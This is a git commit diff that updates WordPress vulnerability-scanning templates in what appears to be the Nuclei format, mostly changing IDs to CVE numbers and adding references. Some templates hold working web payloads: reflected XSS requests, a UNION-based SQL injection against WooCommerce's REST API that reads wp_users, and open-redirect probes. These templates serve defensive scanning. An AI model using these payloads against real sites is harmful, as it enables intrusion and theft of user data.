Update Wordpress templates: typo, cve-id, ref & remove dupe
Akincibor
parent
2a38c4c43e
commit
db692605d4
|
|
@ -1,4 +1,4 @@
|
|||
id: sniplets-xss
|
||||
id: CVE-2008-1060
|
||||
|
||||
info:
|
||||
name: Wordpress Plugin Sniplets - Cross-Site Scripting
|
||||
|
|
@ -7,6 +7,7 @@ info:
|
|||
description: Cross-site scripting (XSS) on Wordpress Plugin Sniplets
|
||||
reference:
|
||||
- https://www.exploit-db.com/exploits/5194
|
||||
- https://wpscan.com/vulnerability/d0278ebe-e6ae-4f7c-bcad-ba318573f881
|
||||
tags: xss,wordpress,wp-plugin,wp
|
||||
|
||||
requests:
|
||||
|
|
@ -1,4 +1,4 @@
|
|||
id: sniplets-lfi
|
||||
id: CVE-2008-1061
|
||||
|
||||
info:
|
||||
name: WordPress Sniplets 1.1.2 - Local File Inclusion
|
||||
|
|
@ -7,10 +7,12 @@ info:
|
|||
description: WordPress Sniplets 1.1.2 is vulnerable to local file inclusion.
|
||||
reference:
|
||||
- https://www.exploit-db.com/exploits/5194
|
||||
- https://wpscan.com/vulnerability/d0278ebe-e6ae-4f7c-bcad-ba318573f881
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
||||
cvss-score: 7.5
|
||||
cwe-id: CWE-22
|
||||
cve-id: CVE-2008-1061
|
||||
tags: wordpress,wp-plugin,lfi,wp
|
||||
|
||||
requests:
|
||||
|
|
@ -1,4 +1,4 @@
|
|||
id: db-backup-lfi
|
||||
id: CVE-2014-9119
|
||||
|
||||
info:
|
||||
name: WordPress DB Backup <=4.5 - Local File Inclusion
|
||||
|
|
@ -12,6 +12,7 @@ info:
|
|||
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
||||
cvss-score: 7.5
|
||||
cwe-id: CWE-22
|
||||
cve-id: CVE-2014-9119
|
||||
tags: wordpress,wp-plugin,lfi,wp
|
||||
|
||||
requests:
|
||||
|
|
@ -1,4 +1,4 @@
|
|||
id: candidate-application-lfi
|
||||
id: CVE-2015-1000005
|
||||
|
||||
info:
|
||||
name: WordPress Candidate Application Form <= 1.3 - Local File Inclusion
|
||||
|
|
@ -11,6 +11,7 @@ info:
|
|||
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
|
||||
cvss-score: 8.6
|
||||
cwe-id: CWE-22
|
||||
cve-id: CVE-2015-1000005
|
||||
tags: wordpress,wp-plugin,lfi,wp
|
||||
|
||||
requests:
|
||||
|
|
@ -1,16 +1,18 @@
|
|||
id: simple-image-manipulator-lfi
|
||||
id: CVE-2015-1000010
|
||||
|
||||
info:
|
||||
name: WordPress Simple Image Manipulator 1.0 - Local File Inclusion
|
||||
name: WordPress Simple Image Manipulator < 1.0 - Local File Inclusion
|
||||
author: dhiyaneshDK
|
||||
severity: high
|
||||
description: WordPress Simple Image Manipulator 1.0 is vulnerable to local file inclusion in ./simple-image-manipulator/controller/download.php because no checks are made to authenticate users or sanitize input when determining file location.
|
||||
reference:
|
||||
- https://packetstormsecurity.com/files/132962/WordPress-Simple-Image-Manipulator-1.0-File-Download.html
|
||||
- https://wpscan.com/vulnerability/40e84e85-7176-4552-b021-6963d0396543
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
||||
cvss-score: 7.5
|
||||
cwe-id: CWE-22
|
||||
cve-id: CVE-2015-1000010
|
||||
tags: wordpress,wp-plugin,lfi,wp
|
||||
|
||||
requests:
|
||||
|
|
@ -1,17 +1,19 @@
|
|||
id: wp-revslider-file-download
|
||||
id: CVE-2015-1579
|
||||
|
||||
info:
|
||||
name: Wordpress Revslider - Local File Inclusion
|
||||
name: WordPress Slider Revolution - Local File Disclosure
|
||||
author: pussycat0x
|
||||
severity: high
|
||||
description: WordPress Revslider is affected by an unauthenticated file retrieval vulnerability, which could result in attacker downloading the wp-config.php file.
|
||||
reference:
|
||||
- https://blog.sucuri.net/2014/09/slider-revolution-plugin-critical-vulnerability-being-exploited.html
|
||||
- https://cxsecurity.com/issue/WLB-2021090129
|
||||
- https://wpscan.com/vulnerability/4b077805-5dc0-4172-970e-cc3d67964f80
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
||||
cvss-score: 7.5
|
||||
cwe-id: CWE-22
|
||||
cve-id: CVE-2015-1579
|
||||
metadata:
|
||||
google-dork: inurl:/wp-content/plugins/revslider
|
||||
tags: wordpress,wp-plugin,lfi,revslider
|
||||
|
|
@ -1,7 +1,7 @@
|
|||
id: wordpress-infinitewp-auth-bypass
|
||||
id: CVE-2020-8772
|
||||
|
||||
info:
|
||||
name: WordPress InfiniteWP Client Authentication Bypass
|
||||
name: InfiniteWP Client < 1.9.4.5 - Authentication Bypass
|
||||
author: princechaddha
|
||||
severity: critical
|
||||
description: InfiniteWP Client plugin versions 1.9.4.4 or earlier contain a critical authentication bypass vulnerability. InfiniteWP Client is a plugin that, when installed on a WordPress site, allows a site owner
|
||||
|
|
@ -9,9 +9,11 @@ info:
|
|||
reference:
|
||||
- https://www.wordfence.com/blog/2020/01/critical-authentication-bypass-vulnerability-in-infinitewp-client-plugin/
|
||||
- https://wordpress.org/plugins/iwp-client/#developers
|
||||
- https://wpscan.com/vulnerability/fac62d36-0fa1-4b43-8f5c-bddbd0cff140
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2020-8772
|
||||
remediation: Upgrade to InfiniteWP Client 1.9.4.5 or higher.
|
||||
tags: wordpress,auth-bypass,wp-plugin
|
||||
|
||||
|
|
@ -1,4 +1,4 @@
|
|||
id: ninjaform-open-redirect
|
||||
id: CVE-2021-24165
|
||||
|
||||
info:
|
||||
name: Ninja Forms < 3.4.34 - Administrator Open Redirect
|
||||
|
|
@ -1,20 +1,13 @@
|
|||
id: CVE-2021-25112
|
||||
|
||||
info:
|
||||
name: WordPress WHMCS Bridge < 6.4b - Cross-Site Scripting
|
||||
author: DhiyaneshDK
|
||||
name: WHMCS Bridge < 6.4b - Reflected Cross-Site Scripting (XSS)
|
||||
author: dhiyaneshDk
|
||||
severity: medium
|
||||
description: WordPress WHMCS Bridge < 6.4b is susceptible to authenticated reflected cross-site scripting because the plugin does not sanitize and escape the error parameter before outputting it back in admin dashboard.
|
||||
description: The plugin does not sanitise and escape the error parameter before outputting it back in admin dashboard, leading to a Reflected Cross-Site Scripting
|
||||
reference:
|
||||
- https://wpscan.com/vulnerability/4aae2dd9-8d51-4633-91bc-ddb53ca3471c
|
||||
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25112
|
||||
- https://plugins.trac.wordpress.org/changeset/2659751
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
||||
cvss-score: 6.1
|
||||
cve-id: CVE-2021-25112
|
||||
cwe-id: CWE-79
|
||||
tags: cve,cve2021,wordpress,xss,wp-plugin,authenticated
|
||||
tags: wordpress,wp-plugin,authenticated,whmcs,xss
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
|
|
@ -26,7 +19,6 @@ requests:
|
|||
Cookie: wordpress_test_cookie=WP%20Cookie%20check
|
||||
|
||||
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
|
||||
|
||||
- |
|
||||
GET /wp-admin/options-general.php?page=cc-ce-bridge-cp&error=%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
|
@ -37,7 +29,8 @@ requests:
|
|||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "<img src onerror=alert(document.domain)>"
|
||||
- "<strong><img src onerror=alert(document.domain)></strong>"
|
||||
condition: and
|
||||
|
||||
- type: word
|
||||
part: header
|
||||
|
|
@ -47,5 +40,3 @@ requests:
|
|||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
# Enhanced by mp on 2022/04/21
|
||||
|
|
|
|||
|
|
@ -1,26 +1,30 @@
|
|||
id: wordpress-woocommerce-sqli
|
||||
id: CVE-2021-32789
|
||||
|
||||
info:
|
||||
name: Woocommerce Unauthenticated SQL Injection
|
||||
author: rootxharsh,iamnoooob,S1r1u5_,cookiehanhoan,madrobot
|
||||
name: WooCommerce Blocks 2.5 to 5.5 & Woocommerce 3.3 to 5.5 - Authenticated ? & Unauthenticated SQL Injection
|
||||
author: rootxharsh,iamnoooob,S1r1u5_,cookiehanhoan,madrobot,akincibor
|
||||
severity: critical
|
||||
description: The Woocommerce plugin for Wordpress contains an unauthenticated SQL injection vulnerability.
|
||||
reference:
|
||||
- https://woocommerce.com/posts/critical-vulnerability-detected-july-2021
|
||||
- https://viblo.asia/p/phan-tich-loi-unauthen-sql-injection-woocommerce-naQZRQyQKvx
|
||||
- https://securitynews.sonicwall.com/xmlpost/wordpress-woocommerce-plugin-sql-injection/
|
||||
- https://wpscan.com/vulnerability/1212fec8-1fde-41e5-af70-abdd7ffe5379 #CVE-2021-32790 (Authenticated ?)
|
||||
- https://wpscan.com/vulnerability/0f2089dc-9376-4d7d-95a2-25c99526804a #CVE-2021-32789
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
||||
cvss-score: 10.0
|
||||
cwe-id: CWE-89
|
||||
tags: wordpress,woocommerce,sqli,wp-plugin,injection
|
||||
cve-id: CVE-2021-32789
|
||||
tags: wordpress,woocommerce,sqli,wp-plugin,injection,wp
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/wp-json/wc/store/products/collection-data?calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500'
|
||||
- '{{BaseURL}}/?rest_route=/wc/store/products/collection-data&calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500'
|
||||
- '{{BaseURL}}/wp-json/wc/store/products/collection-data?calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500'
|
||||
|
||||
stop-at-first-match: true
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
|
|
@ -1,4 +1,4 @@
|
|||
id: accessibility-helper-xss
|
||||
id: CVE-2022-0150
|
||||
|
||||
info:
|
||||
name: WP Accessibility Helper (WAH) < 0.6.0.7 - Reflected Cross-Site Scripting (XSS)
|
||||
|
|
@ -1,18 +1,20 @@
|
|||
id: admin-word-count-column-lfi
|
||||
id: CVE-2022-1390
|
||||
|
||||
info:
|
||||
name: WordPress Admin Word Count Column 2.2 - Local File Inclusion
|
||||
author: daffainfo,Splint3r7
|
||||
severity: high
|
||||
description: WordPress Admin Word Count Column 2.2 is vulnerable to local file inclusion.
|
||||
description: The plugin does not validate the path parameter given to readfile(), which could allow unauthenticated attackers to read arbitrary files on server running old version of PHP susceptible to the null byte technique. This could also lead to RCE by using a Phar Deserialization technique.
|
||||
reference:
|
||||
- https://packetstormsecurity.com/files/166476/WordPress-Admin-Word-Count-Column-2.2-Local-File-Inclusion.html
|
||||
- https://wordpress.org/plugins/admin-word-count-column/
|
||||
- https://wpscan.com/vulnerability/6293b319-dc4f-4412-9d56-55744246c990
|
||||
remediation: This plugin has been closed as of March 29, 2022 and is not available for download.
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
||||
cvss-score: 7.5
|
||||
cwe-id: CWE-22
|
||||
cve-id: CVE-2022-1390
|
||||
tags: wordpress,wp-plugin,lfi,wp
|
||||
|
||||
requests:
|
||||
|
|
@ -1,17 +1,19 @@
|
|||
id: cab-fare-calculator-lfi
|
||||
id: CVE-2022-1391
|
||||
|
||||
info:
|
||||
name: WordPress Cab fare calculator 1.0.3 - Local File Inclusion
|
||||
name: WordPress Cab fare calculator < 1.0.4 - Local File Inclusion
|
||||
author: Hassan Khan Yusufzai - Splint3r7
|
||||
severity: high
|
||||
description: WordPress Cab fare calculator 1.0.3 is vulnerable to local file inclusion.
|
||||
reference:
|
||||
- https://www.exploit-db.com/exploits/50843
|
||||
- https://wordpress.org/plugins/cab-fare-calculator
|
||||
- https://wpscan.com/vulnerability/680121fe-6668-4c1a-a30d-e70dd9be5aac
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
||||
cvss-score: 7.5
|
||||
cwe-id: CWE-22
|
||||
cve-id: CVE-2022-1391
|
||||
tags: wordpress,wp-plugin,lfi,wp
|
||||
|
||||
requests:
|
||||
|
|
@ -8,6 +8,7 @@ info:
|
|||
reference:
|
||||
- https://cxsecurity.com/issue/WLB-2017100084
|
||||
- https://plugins.trac.wordpress.org/changeset/1628751/ad-widget
|
||||
- https://wpscan.com/vulnerability/caca21fe-56bf-4d4c-afc8-4a218e52f0a2
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
||||
cvss-score: 7.5
|
||||
|
|
|
|||
|
|
@ -8,6 +8,7 @@ info:
|
|||
reference:
|
||||
- https://wpscan.com/vulnerability/9873
|
||||
- https://id.wordpress.org/plugins/advanced-access-manager/
|
||||
- https://wpscan.com/vulnerability/dfe62ff5-956c-4403-b3fd-55677628036b
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
||||
cvss-score: 7.5
|
||||
|
|
|
|||
|
|
@ -1,7 +1,7 @@
|
|||
id: brandfolder-open-redirect
|
||||
|
||||
info:
|
||||
name: WordPress Brandfolder - Remote/Local File Inclusion
|
||||
name: WordPress Brandfolder - Open Redirect
|
||||
author: 0x_Akoko
|
||||
severity: low
|
||||
description: WordPress Brandfolder is vulnerable to remote/local file inclusion and allows remote attackers to inject an arbitrary URL into the 'callback.php' endpoint via the 'wp_abspath' parameter which will redirect the victim to it.
|
||||
|
|
|
|||
|
|
@ -1,10 +1,10 @@
|
|||
id: eatery-restaurant-open-redirect
|
||||
|
||||
info:
|
||||
name: WordPress Attitude Themes 1.1.1 Open Redirection
|
||||
name: WordPress Eatery Restaurant Themes < 2.2 - Open Redirection
|
||||
author: 0x_Akoko
|
||||
severity: low
|
||||
description: The WordPress Attitude Themes allows remote attackers to redirect users to an attacker controlled URL.
|
||||
description: The WordPress Eatery Themes allows remote attackers to redirect users to an attacker controlled URL.
|
||||
reference:
|
||||
- https://cxsecurity.com/issue/WLB-2020030183
|
||||
tags: wordpress,wp-theme,redirect
|
||||
|
|
|
|||
|
|
@ -1,41 +0,0 @@
|
|||
id: feedwordpress-xss
|
||||
|
||||
info:
|
||||
name: FeedWordPress < 2022.0123 - Reflected Cross-Site Scripting (XSS)
|
||||
author: dhiyaneshDk
|
||||
severity: medium
|
||||
description: The plugin is affected by a Reflected Cross-Site Scripting (XSS) within the "visibility" parameter.
|
||||
reference:
|
||||
- https://wpscan.com/vulnerability/7ed050a4-27eb-4ecb-9182-1d8fa1e71571
|
||||
tags: wordpress,wp-plugin,xss,feedwordpress,authenticated
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
POST /wp-login.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{RootURL}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Cookie: wordpress_test_cookie=WP%20Cookie%20check
|
||||
|
||||
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
|
||||
- |
|
||||
GET /wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=%22%3E%3Cimg+src%3D2+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
cookie-reuse: true
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- '"><img src=2 onerror=alert(document.domain)>" method="post">'
|
||||
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- text/html
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
|
@ -7,6 +7,7 @@ info:
|
|||
description: WordPress NativeChurch Theme is vulnerable to local file inclusion in the download.php file.
|
||||
reference:
|
||||
- https://packetstormsecurity.com/files/132297/WordPress-NativeChurch-Theme-1.0-1.5-Arbitrary-File-Download.html
|
||||
- https://wpscan.com/vulnerability/2e1062ed-0c48-473f-aab2-20ac9d4c72b1
|
||||
tags: wordpress,wp-theme,lfi
|
||||
|
||||
requests:
|
||||
|
|
|
|||
|
|
@ -1,24 +0,0 @@
|
|||
id: newsletter-manager-open-redirect
|
||||
|
||||
info:
|
||||
name: Newsletter Manager < 1.5 - Unauthenticated Open Redirect
|
||||
author: akincibor
|
||||
severity: low
|
||||
description: |
|
||||
The plugin used base64 encoded user input in the appurl parameter without validation, to redirect users using the header() PHP function, leading to an open redirect issue.
|
||||
reference:
|
||||
- https://wpscan.com/vulnerability/847b3878-da9e-47d6-bc65-3cfd2b3dc1c1
|
||||
metadata:
|
||||
verified: true
|
||||
tags: wp-plugin,redirect,wordpress,wp,unauth
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/?wp_nlm=confirmation&appurl=aHR0cDovL2ludGVyYWN0LnNo"
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
part: header
|
||||
regex:
|
||||
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
|
||||
|
|
@ -4,6 +4,9 @@ info:
|
|||
name: Sassy Social Share <= 3.3.3 - Cross-Site Scripting
|
||||
author: Random_Robbie
|
||||
severity: medium
|
||||
description: AJAX endpoints which returns JSON data has no Content-Type header set, and uses default text/html. Any JSON that has HTML will be rendered as such.
|
||||
reference:
|
||||
- https://wpscan.com/vulnerability/4631519b-2060-43a0-b69b-b3d7ed94c705
|
||||
tags: wordpress,wp-plugin,sassy,xss
|
||||
|
||||
requests:
|
||||
|
|
|
|||
|
|
@ -1,17 +1,19 @@
|
|||
id: video-synchro-pdf-lfi
|
||||
id: CVE-2022-1392
|
||||
|
||||
info:
|
||||
name: WordPress Videos sync PDF 1.7.4 - Local File Inclusion
|
||||
author: Hassan Khan Yusufzai - Splint3r7
|
||||
author: Splint3r7
|
||||
severity: high
|
||||
description: WordPress Videos sync PDF 1.7.4 is vulnerable to local file inclusion.
|
||||
reference:
|
||||
- https://www.exploit-db.com/exploits/50844
|
||||
- https://wordpress.org/plugins/video-synchro-pdf/
|
||||
- https://wpscan.com/vulnerability/fe3da8c1-ae21-4b70-b3f5-a7d014aa3815
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
||||
cvss-score: 7.5
|
||||
cwe-id: CWE-22
|
||||
cve-id: CVE-2022-1392
|
||||
tags: wordpress,wp-plugin,lfi,wp
|
||||
|
||||
requests:
|
||||
|
|
|
|||
|
|
@ -1,7 +1,7 @@
|
|||
id: w3c-total-cache-ssrf
|
||||
|
||||
info:
|
||||
name: Wordpress W3C Total Cache SSRF <= 0.9.4
|
||||
name: Wordpress W3C Total Cache <= 0.9.4 - Unauthenticated Server Side Request Forgery (SSRF)
|
||||
author: random_robbie
|
||||
severity: medium
|
||||
description: The W3 Total Cache WordPress plugin was affected by an Unauthenticated Server Side Request Forgery (SSRF) security vulnerability.
|
||||
|
|
|
|||
|
|
@ -4,7 +4,10 @@ info:
|
|||
name: Social Metrics Tracker <= 1.6.8 - Unauthorised Data Export
|
||||
author: randomrobbie
|
||||
severity: medium
|
||||
tags: wordpress,wp-plugin
|
||||
description: The lack of proper authorisation when exporting data from the plugin could allow unauthenticated users to get information about the posts and page of the blog, including their author's username and email.
|
||||
reference:
|
||||
- https://wpscan.com/vulnerability/f4eed3ba-2746-426f-b030-a8c432defeb2
|
||||
tags: wordpress,wp-plugin,wp
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
|
|
|
|||
|
|
@ -1,12 +1,13 @@
|
|||
id: wordpress-zebra-form-xss
|
||||
|
||||
info:
|
||||
name: Wordpress Zebra Form - Cross-Site Scripting
|
||||
name: Zebra_Form Library <= 2.9.8 - Reflected Cross-Site Scripting (XSS)
|
||||
author: madrobot
|
||||
severity: medium
|
||||
reference:
|
||||
- https://blog.wpscan.com/2021/02/15/zebra-form-xss-wordpress-vulnerability-affects-multiple-plugins.html
|
||||
tags: wordpress,xss
|
||||
- https://wpscan.com/vulnerability/e4b796fa-3215-43ff-a6aa-71f6e1db25e5
|
||||
tags: wordpress,xss,wp
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
|
|
|
|||
|
|
@ -1,11 +1,12 @@
|
|||
id: wp-ambience-xss
|
||||
|
||||
info:
|
||||
name: WordPress Theme Ambience - 'src' Reflected Cross-Site Scripting (XSS)
|
||||
name: WordPress Theme Ambience <= 1.0 - Cross-Site Scripting (XSS)
|
||||
author: daffainfo
|
||||
severity: medium
|
||||
reference:
|
||||
- https://www.exploit-db.com/exploits/38568
|
||||
- https://wpscan.com/vulnerability/c465e5c1-fe43-40e9-894a-97b8ac462381
|
||||
tags: wordpress,xss,wp-plugin
|
||||
|
||||
requests:
|
||||
|
|
|
|||
|
|
@ -5,7 +5,7 @@ info:
|
|||
author: daffainfo
|
||||
severity: medium
|
||||
reference:
|
||||
- https://packetstormsecurity.com/files/132034/WordPress-Church-Admin-0.800-Cross-Site-Scripting.html
|
||||
- https://packetstormsecurity.com/files/132034/WordPress-Church-Admin-0.800-Cross-Site-Scripting.html # Is this stored ?
|
||||
tags: wordpress,xss,wp-plugin
|
||||
|
||||
requests:
|
||||
|
|
|
|||
|
|
@ -1,42 +0,0 @@
|
|||
id: wp-whmcs-xss
|
||||
|
||||
info:
|
||||
name: WHMCS Bridge < 6.4b - Reflected Cross-Site Scripting (XSS)
|
||||
author: dhiyaneshDk
|
||||
severity: medium
|
||||
description: The plugin does not sanitise and escape the error parameter before outputting it back in admin dashboard, leading to a Reflected Cross-Site Scripting
|
||||
reference:
|
||||
- https://wpscan.com/vulnerability/4aae2dd9-8d51-4633-91bc-ddb53ca3471c
|
||||
tags: wordpress,wp-plugin,authenticated,whmcs,xss
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
POST /wp-login.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{RootURL}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Cookie: wordpress_test_cookie=WP%20Cookie%20check
|
||||
|
||||
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
|
||||
- |
|
||||
GET /wp-admin/options-general.php?page=cc-ce-bridge-cp&error=%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
cookie-reuse: true
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "<strong><img src onerror=alert(document.domain)></strong>"
|
||||
condition: and
|
||||
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- text/html
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
|
@ -1,12 +1,13 @@
|
|||
id: wp-woocommerce-email-verification
|
||||
|
||||
info:
|
||||
name: WordPress WooCommerce <1.8.2 - Authentication Bypass
|
||||
name: Email Verification for WooCommerce < 1.8.2 - Loose Comparison to Authentication Bypass
|
||||
author: random_robbie,daffianfo
|
||||
severity: critical
|
||||
description: WordPress WooCommerce prior to version 1.8.2 contains a loose comparison issue which could allow any user to log in as administrator.
|
||||
description: Email Verification for WooCommerce Wordpress plugin prior to version 1.8.2 contains a loose comparison issue which could allow any user to log in as administrator.
|
||||
reference:
|
||||
- https://wpvulndb.com/vulnerabilities/10318
|
||||
- https://wpscan.com/vulnerability/0c93832c-83db-4053-8a11-70de966bb3a8
|
||||
classification:
|
||||
cvss-metrics: CVSS:10.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
||||
cvss-score: 10.0
|
||||
|
|
|
|||
|
|
@ -1,7 +1,7 @@
|
|||
id: wp-woocommerce-file-download
|
||||
|
||||
info:
|
||||
name: WordPress WooCommerce < 1.2.7 - Arbitrary File Retrieval
|
||||
name: Product Input Fields for WooCommerce < 1.2.7 - Unauthenticated File Download
|
||||
author: 0x_Akoko
|
||||
severity: high
|
||||
description: WordPress WooCommerce < 1.2.7 is susceptible to file download vulnerabilities. The lack of authorization checks in the handle_downloads() function hooked to admin_init() could allow unauthenticated
|
||||
|
|
@ -13,7 +13,7 @@ info:
|
|||
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
|
||||
cvss-score: 8.6
|
||||
cwe-id: CWE-22
|
||||
tags: wordpress,woocommerce,lfi
|
||||
tags: wordpress,woocommerce,lfi,wp
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
|
|
|
|||
Loading…
Reference in New Issue